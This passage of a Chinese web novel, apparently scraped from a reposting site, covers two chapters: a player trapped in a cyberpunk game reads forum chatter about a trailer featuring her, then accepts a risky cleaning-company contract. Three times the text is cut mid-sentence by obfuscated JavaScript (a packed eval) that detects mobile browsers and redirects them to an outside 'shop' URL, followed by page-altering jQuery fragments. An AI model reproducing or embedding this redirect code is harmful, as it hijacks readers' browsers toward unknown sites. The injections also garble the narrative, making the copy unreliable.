发布者当然是这款游戏的神秘制作方,这家公司从头到尾没有透露也没有被爆出什么相关信息。以至于当初刚公布《废丘》时,有声音怀疑这不过是打算圈波投资就跑路。 但它打了所有人的脸。 她穿来前不久,举行的线下试玩会收获了被邀请方的一致好评,媒体直言这将引领一场游戏界的技术革命——而那还仅仅是个从开放世界摘出来的小副本。至此,《废丘》成为了玩家们心中的天降紫微星。 英文名是“Rustfall”,缩写为“RF”,大家都对这由两个艺术化字母组成的黑白LOGO印象深刻,它也正是如今发布者的头像。 黎初点下了视频的播放键。 入耳是淅淅沥沥的雨声。 远处有模糊的刺耳警笛,霓虹光晕忽大忽小地闪烁,染出了赛博朋克那特有的、永不停歇的冰冷与潮湿。 飞速环顾一圈的画面里,展现出来的是某个又脏又乱的桥洞。 扛着棒球棍和武士刀的混混们相视大笑,他们虎视眈眈的目光投向桥洞另一侧。 而那里,与他们对峙着的,只有寥寥一道人影。 那人背对光源,留出剪影,仅仅可以隐约辨认出她稍显纤细的轮廓,有什么一丁点大的东西在她手中抛起又落下。 镜头一转,混混们顷刻暴起,猛虎扑食般的向她冲了过去。 光点消失,眼前再度黑下,接下来引入的是一段合成器的电音鼓点,电子吉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543398|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失真的音色与之合奏为新的旋律。 画面忽然亮起。 这次直接给出了贴近女孩下巴的特写。 她勾起了嘴角。 球棍正对镜头挥下,下一秒却被轻巧闪过。她灵活地旋身、下腰,反手一卸的动作精妙又利落,袭来的混混们在短短数秒内就倒了大半。 她仿佛察觉到什么,一瞬间回过了头。 镜头向上一晃,对准那双眼睛。 眼神凌厉得简直要划破屏幕。 电火花从她手中爆开,照亮了整个桥洞,而在那之后,一切归于静寂与昏暗。 地上的水泊映出了靴子倒影。 她走在这泥泞的桥洞里,水花溅起又落下。投在桥洞墙壁上的人影不紧不慢地靠近,然后弯腰。 她蹲下|身,慢条斯理地提起那领头混混的头发,将他惊恐的表情和求饶的声音留给了观众。 黎初:“……” 再多截一秒就露馅了。 镜头猛地拉远,给向远方的摩天大楼,穿梭在楼体间的浮空车与飞艇平稳优雅,那些播放着美丽人像与广告宣传的光学影像就像雨中的瀑布,在意犹未尽中作结,让观众面对重新变得漆黑的屏幕回味着对不久之后的游戏内容的向往。 1L 【前排!!!】 2L 【是PV是PV是新PV,谁又赶来吃饼了我不说】 3L 【前脚抽到内测资格后脚推新预告,有多幸福你们懂一下,这效率我真哭了】 前面全是占位和感叹这样没营养的内容,不过因为人数限制,竞争其实没有很激烈,黎初划拉了几下,直接拖到有实质讨论的位置。 24L 【啊,这建模!啊,这渲染!啊,这街景!啊,这头发丝!】 25L 【希望实机以后不会是PV欺诈我真求求了】 26L 【这个NPC是谁啊?】 27L 【你在这儿问有啥用,反正这档口推出来专门的预告片,应该是个重要角色吧?要是有句台词就好了,能再细扒一下,听说这不是最后一个PV,再蹲蹲看。】 28L 【甭管是谁,这架我看爽了谢谢】 29L 【太帅了太帅了太帅了,我将反复品味——】 30L 【卧槽这混混眼神笑死我了】 31L 【千言万语化作一句——姐!姐!踩!我!】 32L 【嗨嗨嗨?楼上能不能矜持点?】 32L 【浅分析一下。 根据几个男性的造型风格,初步判断为街头混混或者黑|帮成员(应该是中小型帮派),而既然是他们先动手,那找茬的概率很大,所以这可能是一起挑衅不成反被揍事件。 为首者笑得那么嚣张,自己也没想到多对一能被反杀吧,建议趴在地上好好思考一下人生。 省流版: 大快人心。 就这个战斗爽。】 33L 【话说回来,你们不觉得她的打斗经过专业训练吗?】 14.灭世小草莓 黎初的心里也千言万语化作一个字—— 啥? 她受过专业训练,她怎么不知道? 那个问题的确引发了几句讨论,但很快淹没在展望游戏内容的汪洋大海里,没有人会不喜欢看关于自己的好话,黎初欣赏了一会儿对她的吹捧,就关了这个链接——底下也没有什么值得仔细看的内容了。 她得先掌握更多现状。 按照《废丘》在她穿来以前的宣传,被抽中的内测参与者会来自天南海北的世界各地——虽然按照比例来说,人口大国和发达国家的玩家天然占大多数,不过此刻映入黎初眼里的文字,无一例外都是整齐划一的中文。 有的回帖在语法上倒是有点微妙的不自然,能看出异国的味道,应该是论坛加装有自动翻译模块。就算再怎么智能,语言习惯还是多少会留下一点痕迹的。 就像她走在街头的时候,能看到不少黑发黑眼的“同胞”,也能看到金发碧眼或是其他肤色的人们熙来攘往——废丘是个多种族混居的大都市,大家说着不同的语言,然后在义体的帮助下转译成自己能听懂的声音。 至于义体就一个干脆利落的“无”字的她,能做到应该是系统的功劳吧。 话又说回来,现在要靠外表和打扮来猜测他人的来历不是件容易的事,毕竟这里有崇尚自然风格的声音,自然也会有人热衷于把自己改造得奇形怪状。 黎初扫了一眼,随便挑了个被顶到首页的帖子。 《问问大家都是怎么拿到内测资格的?》 【我自己来抛砖引玉,我今天下楼取快递,本来都扫完码准备出站走人了,被老板叫住说有个贴了我名的件,可能是从快递员车上滚下来的,但是没有单号也没有物流记录。我俩一起琢磨了半天也没闹明白,我就直接当着他面拆了。 结果就发现是制作方寄来的贺喜卡片和全息头盔,要不是我早上收到自己抽中资格的消息还真不知道怎么回事,效率疑似有点高了……他们先寄才通知抽中吗? 这事儿是不是有点奇怪,抽选的时候是登记过住址,可怎么就这么寄过来了?……真的是寄过来的?还有这头盔到底正不正经,有没有人上交研究一下怎么回事?】 1L 【跟你差不多,我们学校的看门大爷让我去门卫室一趟,有人留了东西说是给我的,他说那人放下就走了,他也没看清长啥样】 2L 【不知道啊,我住家里,父母拿回来的,一对才发现今天根本没快递……】 3L 【虽然但是,上交了还能在这里回你帖?】 LZ 【唉,也是,我傻了!】 5L 【你都在这儿发帖了就证明你已经戴着头盔认证过了吧,啧啧啧,说你啥好,觉得不对劲还认证】 6L 【在座的谁也别说谁好吧,来路不明的东西敢直接往头上戴(包括我自己)是真的勇~】 7L 【生活这么无聊,找点刺激的调味料怎么你了】 8L 【但是这头盔挺高科技的嘿,连打字发帖都只要想想就好了。而且刚才看那个PV好真啊,我都迫不及待地想赶紧进游戏试一下了,我突突突突突!】 9L 【现阶段的技术能直接做到这种程度吗?也不怕步子跨太大扯到裆】 10L 【你们都是自己领的头盔自己用?我也是,但好奇有没有人转让啊,反正认证前不记名,听说暗网都炒到一顶头盔几十万刀了】 11L 【几十万?几百万! 还是保守了,法治社会阻碍了我财富自由的梦,反正我接触不到黑市,想想有钱人花这么多钱跟我一个待遇又有点心理平衡……这游戏应该不能氪金吧?】 12L 【我就是,我弟抽到的资格,我好说歹说叫他让给我了,所以一个人抽到内测资格但让另一个人验证完全可行】 13L回复12L: 【你倒欠你弟几百万】 14L回复13L: 【他一个小学生也不敢让他玩啊,看在我承包了他两年寒暑假作业的份上原谅我吧(求求.gif)】 15L 【VR和脑机研究这么久也有不少进展吧,突然憋出来个划时代产品不能说完全没可能,问题是在这之前一点风声都不露吗?保密协议做得这么好?】 这样的发言引来了几个技术宅的探讨,从引经据典近两年的专利论文到对技术可行性的分析,黎初看不懂那一连串的专业术语,只看懂了他们的结论:以目前的技术水平应该无法直接端着一个高质作品上桌。 排除送达方式很诡异这点,被抽中的内测玩家们对《废丘》总体上还是乐观看好的,只是猜测这估计是检验前端科技的试水作,翻译一下就是本体内容可能会差一点。 黎初默默环顾了一圈。 谁说这游戏差啊,这游戏太棒了。 其实她没什么非要“回家”的执念。 她从七八岁起就在孤儿院长大,而在那之后的人生,是从摸到第一台游戏机开始的。她在可控的人生中找到了不可控的趣味,哪里能玩游戏,哪里就是她的家。 所以她对穿越这事毫无抵触心理,就算死在游戏里,那也叫死得其所。 当然,活还是得好好活的,毕竟玩游戏就是要赢嘛。 黎初“咦”了声。 她这次退出时多看了一眼,发现右上角是有用户头像的,还可以点开。 这证明她不是作为一个观察者,而是作为参与者进入了这个论坛,她点进用户界面,发现头像是默认头像,名字倒是已经有了。 那里写的是——“灭世小草莓”。 黎初:“……” 她倒吸一口凉气。 ——这名字太好了!她喜欢! 绝对没人能猜到是她! 虽然不知道这个账号从哪来的,也不知道名字怎么那么难绷,但黎初当机立断地笑纳了。毕竟在一个确实会谈论到你的论坛,什么都做不了多少有点被动了。 她回到帖子列表,简单浏览了前几页,点进了热度最高也看起来最有含金量的主题帖。 《简易汇总:关于《废丘》我们目前所知的一切(情报整合至官方最新PV“雨夜”)》 【写在开头的叠甲: 楼主不是分析大佬,以下内容大部分来自各大网站和论坛,由于来源众多无法一一标明。我只是将目前的三支PV都逐帧拉片分析以后,进行了一些整合和推测,旨在抛砖引玉,欢迎各位补充和指正! Part1:何为赛博朋克(Cyberpunk)? 能来到这里的各位应该不需要我的科普,但以防万一,我还是注明一下——核心特征为高科技低生活,巨型企业垄断财富与科技,与贫困潦倒的底层人民形成鲜明反差。 Part2:世界观与背景 从目前挤牙膏挤出的三支PV来看,《废丘》的世界观完美符合以上特征。 PV2开头一闪而过的报纸碎片上提到了“公司战争”,但目前明确登场的势力只有“生命集团”。对它脑洞大开的分析已经很多了,在此不再赘述,可信的部分总结为这是家巨型医药复合体,垄断了大量医疗资源。 根据最新流出的信息,除了义体改造以外,每个玩家角色都会获得自己独有的天赋能力,强弱程度和何时觉醒依具体情况而定。 接下来是我的个人猜想: 宣传的蛛丝马迹显示,天赋能力不止为玩家所有,NPC也会拥有天赋能力(只是比例远低于玩家)。这可能和这座大都市的背景有关,众所周知,废丘是一片不受任何政权干预的飞地,也是大名鼎鼎的“逐梦之城”。 这是由它的背景带来的——作为曾经那场公司战争交火的中央地带,废丘的土地上遗留了种种高危武器的污染,这些污染或许催生了人体的异变…… Part3:玩法前瞻——我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553261|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们是谁? 其实在《废丘》的宣发里已经有答案了,玩家会以相对符合自己个人能力水平的定位,以“外来者”的不同身份被投放进废丘。 你可能是慕名而来的黑户,也可能是潜逃到法外之地的罪犯,还有可能是来到这里进行投资或演出的富豪明星…… 既然有了身份,那极大概率得扮演好自己的“角色”。目前没有确定超游(玩家以角色外思维行动、破坏沉浸感的行为)是否会有惩罚,但是最好不要超游!不要超游!不要超游! ……我劝过了,你坚持要做我就只能扁扁地走开。 Part4:现有登场NPC——谁是我们的朋友?谁是我们的敌人? 除了最新的PV,其他出场角色都是数人集体行动。初步推断有四方势力: 巨型企业——不用说了,赛博朋克的财阀都是反派。代表:生命集团。 教团——不明,仅有神像画面。 黑|帮——不明,只出现过两批小混混,一般是自治势力或者和公司作对。 稽查局——废丘指定执法机构,拥有可以统筹整座城市不法行为的AI系统,武力不俗,被他们盯上会很麻烦,如果你就想尝试这样的玩法当我没说。 目前讨论度最高的那位,我也进行了逐帧截图。 [图片] [图片] 虽然光线很暗,但调亮以后可以看到她外套后面的图案,和生命集团的LOGO一致。楼主不是专业人士,但也看得出她用了掩护式防御和侧踹之类的变体,尤其是侧踹的难度其实相当大……没有训练很难做到。 给了这么多特写镜头,我个人也很好奇她会在之后扮演什么样的角色,别的不说PV拍得是真酷。】 1L 【火前留名!】 2L 【我将缓缓进行滑跪……】 前几楼都是诸如此类的感叹。 7L 【呜呜呜怪不得那么能打!】 8L 【公司员工啊……难怪混混要找茬,这事得算谁对谁错?】 9L 【管那么多的帅就完事了】 10L 【还有这桥洞,看着像是地上列车的桥洞?】 11L 【一边还算干净一边脏,公共交通能正常运行,应该是位于富人区和贫民窟之间地带的桥洞。附近的大楼也能从建筑风格看出来以前繁荣过,可能是那种产业转移的前发展区,高不成低不就的地方吧。】 12L 【好的感谢您的分析,现在向您列队走来的是打卡留念方阵】 13L 【?这破地能出片?】 14L 【出不出片不重要,重要的是到此一游!~】 15L 【你们就这出息,我就不一样了,我是强度党,我在佛前苦苦求了几千年给我一个像样的天赋能力】 16L 【既然是公司员工,那多少会露面吧!好耶!姐姐我来啦!】 17L 【那你还不赶紧去外面那个集合帖签个到,看看谁能成功】 黎初切出去,果然看到首页还飘了个《PV名场面地点大汇总,你最pick哪个?》的帖子。 不对,这很不对。 她灵机一动。 黎初起了个《最新PV只是无名小卒互殴的可能性有多大?》的标题,里面简单罗列了(瞎编的)证据一二三,准备发出来试试水。 她的帖子“刷”地就沉下去了。 黎初:“……” 【恭喜你解锁成就:“想你的风吹到了废丘”。】 【说明:你在玩家中的讨论热度正在节节攀升,怪就怪打斗太过帅气和加鸡腿的剪辑,你已经成为了宣传点之一,不要妄想挣扎了。我在废丘很想你,就让暴风雨来得更猛烈些吧!】 黎初:“………………” 黎初:“?” 15.回转梦魇 “……你怎么戴上口罩了?” 第二天一早,谢云帆看到昨天还好好的“同事”,由衷地疑惑道。 “有点呼吸道感染。”黎初平静地说,“累得。” 谢云帆:“……” 他肃然起敬。 天哪,这也太拼了。 “自然人还是难啊。”他忧伤道,“虽然义体改造也未必是好事。” 黎初附和地连连点头。 假的,当然是假的。 她已经打定主意,暂时将口罩焊在脸上,在找到合适合情以及合理的解决办法之前,尽量不要在公开场合和影像记录里露出自己的脸,免得行踪被别人轻而易举地一览无余。 黎初可以确定,在那个桥洞里,除了她和骨刺这几个小混混外,不可能还有别人——或者别的不是人——在。这样一来,三百六十度无死角还带运镜的PV是怎么拍的就很离谱了,唯一能解释的就是她如今作为NPC天然存在于游戏的运行机制里。 虽然她这样做很难说能作用几分,但做了总比不做强。 从现在开始,她不仅要戴口罩,还要戴面具,防毒面罩也不是不可以,也许当个神秘感爆棚的覆面系角色也不错…… 她有偶像包袱了。 昨晚剩下的时间里,黎初没有去享受安净报销的各种贵宾服务,也没有立刻倒头大睡,而是打开投影电视作为遮掩,一点点把所有有价值的帖子翻了个遍。 从一些用语习惯看得出来,被抽中的华国人比她想象得多,虽然没有文化隔阂确实在一定意义上是好事,但……黎初也恰恰明白。 爱凑热闹是真爱凑热闹啊! 这个放下不提,黎初如今切身生活在废丘,尽管也就几天的时间,不过确实比隔着网线(或者说次元)瞎猜要更了解这个世界一些。大部分帖子里冥思苦想的情报,她只要动动手指就能直接在客房配备的主机设备上查到了。 四十年前,废丘还只是联邦共和国海岸边一片被夷为废墟的空地。 沦为公司战争的主要战场之后,高危乃至生化武器留下的重污染让这里变得不再适宜居住,就剩下一些不愿离开家乡的原住民还盘桓在此。 又过了十年,一位富有理想的企业家计划重建自己的故乡,在中途资金熔断的情况下,他不得已引入了生命集团的投资——也就是说,生命集团在废丘的重建里扮演了举足轻重的角色。 生命集团苦于迟迟无法将手伸到联邦的土地上,这块被联邦主动当成弃子的飞地就成了最好的选择。 是以他们也于第一时间在废丘建立了自己的联邦分部,但还保持着表面上的尊重,将分部大楼设在了当时偏僻点的发展区。等到企业家去世,生命集团就成了这里独占鳌头的财阀,正如当初稽查局那两个警察所言,连政府都得对他们礼让三分。 连联邦分部也搬去市中心,在最好的地段重新修建了更有标志性也更恢弘的高塔,原来的分部成了分部的分部——这才算是黎初的前东家。 为了制衡一家独大的生命集团,后来的政客班子又和其他巨型企业合作。囿于那场彼此都元气大伤的公司战争,连生命集团老对手在内的财阀们也不会再轻易兵戈相向,但他们依然乐于进入这块土地发展自己的势力。毕竟……众所周知,监管是技术进步的最大绊脚石。 在各方的共同努力下,时至今日,废丘已经成为了一个繁华热闹的大都会,合法居民超过数百万人,来自不同文化种族的人们汇聚于此,让这里活像是整个世界的浓缩体。 黎初称之为“拼好界”。 废丘是一块野生的培养皿,同时,由于各方势力的此消彼长,没有比这里更能随心所欲的地方了。 黎初无法断言突如其来的一千名玩家会为这本就不平静的湖水带来怎样的变化,她翻阅帖子,没有得到什么关于游戏《废丘》的偷跑情报,了解到的大多是玩家们的现状。 进入游戏的方式无疑就是那个全息头盔,他们现在能做的只有论坛水帖和在独立空间捏脸,但哪怕这样也足以引起大家的惊叹了。不过也没人傻到在还没公布玩法的时候把自己的脸发出来——万一一进游戏被做局下套了怎么办? 收集完信息,黎初开始研究那个所谓的多线剧情树。 除了那支她出场的PV,“NPC权限”的内容尚不明朗,点进去一片空白,字也都是灰的。她怀疑应该是等到玩家进入后才能向他们发布任务之类的。 主线任务在她完成清扫以后没刷别的,只是简单地显示“度过你的假期”。 至于“多线剧情树”,还只有光秃秃的一根主干,上面延伸出两三根枝桠。 【当前主干——水面之下。】 【职业线——凶案现场清洁工(进行中)】 【当前节点:完美地完成你的第一次清扫。(已完成)】 【下一节点:[???](需提升职业等级解锁,等待与杜若的会面)】 【势力线——街头的丛林法则(已激活)(声望:也就几个小喽啰不敢来惹你)】 【当前节点:一份工作的交情。(已完成)】 【下一节点:[???](需特定事件触发)】 【势力线——生命集团的敌意(已激活)(关注度:你进入了内部黑名单)】 【当前节点:令人印象深刻的实习生。(已完成)】 【下一节点:[???]】 【造成影响:稽查局关注度提升。(关注度:你还不配在通缉犯里拥有姓名)】 看来还需要探索得更多才行。 在她窝在房间里紧锣密鼓地研究的时候,谢云帆显然是睡了一大觉之后又去体验了几个理疗项目,已经从昨天的萎靡不振中恢复过来,并强烈推荐她去体验一下氧气茧。 黎初虽然洗了个热水澡也享受了机器人送来的餐点,但还顾不上去参观那些。此刻,他们坐在云顶酒店提供的小型会议室里,等着还在路上的杜经理,而黎初装成小病未愈的样子,也引来对方时不时地偷瞥一眼。 谢云帆前思后想,犹豫又犹豫,终于深思熟虑地开了口。 “我觉得你不该这样。”他说。 黎初:“?” “太敬业了!”他痛心疾首道,“咱们这次是特殊情况,但是下次——我是说如果还有下次——工资是死的,身体是自己的,还是要多想想如何减轻工作负担,比如……” 他开始传授如何摸鱼。 黎初一个战术后仰,看着在走了出生入死一遭后俨然将她当成了自己人的谢云帆,眼神里俱是“原来你是这种人”。 但是有谁会不喜欢摸鱼呢?! 俩人头对头地学习起先进偷懒经验,直到会议室的房门被突然打开——然后才传来了两下礼貌性的敲击声。 谢云帆赶紧刹住话头。 毕竟说的话题不是那么光明正大,当杜经理走进来的时候,他还稍微有点心虚。这心虚也只是一闪而过,特别是她的到来就代表昨天的亲身经历又浮出水面,两人都安静下来,轻松的氛围也消失了。 杜若似乎没有注意到他们的态度变化,她步伐稳健地走到他们对面的桌边,扶手椅被拉开发出一下沉闷的摩擦声。 她仍然盘着那个工整的发髻,素黑制服一丝不苟地扣到最上面那颗,坐下时目光落在了黎初的脸上。 “黎小姐身体不太舒服吗?”她问。 黎初还是同样的说辞,“有点累着,呼吸道感染。” 杜若点点头,“这几天好好休息。” 接着,她开门见山。 “我到这里来,是代表安净,会社对你们两位昨天的遭遇深表歉意。” “鉴于二位没有受伤,按照精神损失折算,安净将会赔偿你们每人二十万信用点。同时,你们也获得了领取为期十二个月特殊风险津贴的资格,如果留下来继续工作,你们可以每月领取两万信用点的津贴。” 二十万信用点。 黎初昨晚还是按照系统给的金额和利率算了下她每月需要还的本息,二十万将将够能还两年。 谢云帆表情古怪。 他问:“我是不是可以理解成,这二十万是我们的买命钱?” “这里是废丘。”杜若说,“所有人都知道一分价钱一分货。” “云帆,扪心自问,你在找到这份高薪工作的时候,真的完全没有想过薪水背后可能代表着什么吗?或者说,你会因为可能面临着生命危险,就不做这个清洁工了吗?” “不,我们都知道你不会。”她道,“当然,黎小姐也不会,你们都有自己的不得已。” “这不一样!”谢云帆的眉头死死地拧起来,“我们对自己的工作内容应该有知情权,我们至少要知道要做什么要面临什么——” 杜若打断了他。 “就像你们有自己的不得已,会社也有自己的不得已。” 她继续道:“‘稀客’的存在靠情绪维系,如果负责清理现场的员工带着强烈的恐惧心理先入为主,那会大大加强‘稀客’的力量,导致严重得多的后果。” “你们遇到的是小概率的意外,但再小概率也是一场糟糕的事故。从现在起,安净会提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564706|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供给你们远比之前更优厚的待遇——云帆,你的评级提升,薪资上浮百分之五十;黎小姐,你的实习期结束,即刻转为处理专员,薪酬翻倍。” “你们也需要负起相应的责任,之后会有新拟好的合同投送给你们,里面包含一份最高等级的保密条款。记住,这是核心成员才知道的‘内部信息’。” 黎初笑了。 “您的意思,”她说,“是让我们当工贼吗?” ……她说出来了! 谢云帆震惊地看着旁边的人,在他还在犹豫撕破脸是不是个好选择的时候,对方已经直接这么做了。 不过,杜若没有一丝他以为会有的盛怒。 “我不会剥夺你这么想的资格。”杜经理说,“然而,事实是,能处理好‘特殊情况’并活下来的员工,是会社的宝贵资产。” “有时候,这不是危险,而是机遇。聪明人应该知道要如何珍惜机遇。” 她不急于得到两人的答案,就像她早知道他们会有什么答案。 出乎意料的是,黎初的决定很快。 “行啊,”她轻飘飘道,“我签。” 谢云帆看着黎初的眼神更震惊了。 他还以为她会拒绝呢。 现在直面经理目光的只剩下他一个,谢云帆闭上眼睛,缓缓吐出一口气,绷紧的嘴角抽动,“……我也签。” “那之后再联系。”杜若点点头,又看向谢云帆,“如果没有别的用途,你的津贴会继续打到你妹妹的医药账户上,要更改吗?” 他摇头。 “好,两位可以继续休假了。” 谢云帆一声不吭地起身,黎初看看他看看杜若,礼貌性地点头后也走出了门外。片刻过后,杜若才收回了凝视着门板的视线,耳廓处的蓝光闪烁过后,她低声答复道: “是的,不是两个,只有一个人。” “我建议稽查局方面加强对她的‘观察’。” 大堂上方还是那片蓝天白云。 这会儿酒店大厅没有新客人,都是提供服务的小机器人在来往。谢云帆双手插兜,踢踢踏踏地围着窗户转圈,外面是未曾美化过的浊黄天色。 “我以为你不会同意呢。”他唉声叹气,“果然我就是嘴上说得好听……” 他看上去是想起了骂那个男人的话。 黎初问:“你后悔答应了?” “答不答应……差不多。”谢云帆说,“我那会儿说的故事,其实还有个尾巴。” “那个老垃圾工……” 他看着远处。 “后来,过了两三天吧,被发现死在他那破屋里了,后来尸体不知道怎么处理的,没人告诉我。” “他确实没有遵守交易的条件,但是……” 他没有再说下去,黎初也保持着这安静,视线漫无目的地在大厅里逡巡。 挂在对面墙壁的大幅光屏正播放着不同广告,而现在播放的这支,比起这个彰显平静风格的大堂,它显然有点突兀了。 轻微的噪点和扫描线盖过被马赛克模糊了的背景——手持利斧的男人砍出了一片血肉横飞,但更引人瞩目的是用耀眼白字打出来的一句句滚动字幕。 “你感到无聊吗?” “神经刺激剂已经失效?肾上腺素泵也无法让你心跳加速?” “你以为自己体验过了一切……速度、坠落、虚拟的狂欢。” “但你体验过你自己吗?” 猛然冒出的那张脸涂得雪白,只有血红色的嘴唇咧得格外大,红彤彤的圆鼻头占据了视觉中心点,这个小丑大笑着向后仰去。交映着的霓虹灯光之间,人影狂乱舞动,正在展示自己发光器官与内脏的卖艺者、能透过半透明皮肤看到底下老式黄铜齿轮的发条人、贩卖糊状合成食物的摊位…… 画面里有个罐子一闪而过,泡在半透明溶液里的应该是块人类的脏器,上面密密麻麻地长满了眼球。 她突然听到了系统的声音。 【触发任务“寻找范的眼球”,已刷新任务地点,请宿主自行前往。】 ……等等。 黎初心念动了一下。 “那是巡回鬼屋吗?”她问。 “是啊,我记得叫‘回转梦魇’。”谢云帆顺着她的目光看去,“他们可火了,最近刚巡回到废丘,还是嘉年华主题,听说一票难求得很。” 黎初“哦”了声,“你知道他们在哪儿吗?” “知道是知道……”他一头雾水,“但是咋了?” 黎初阴森森地笑了。 “让想我的风吹到鬼屋。”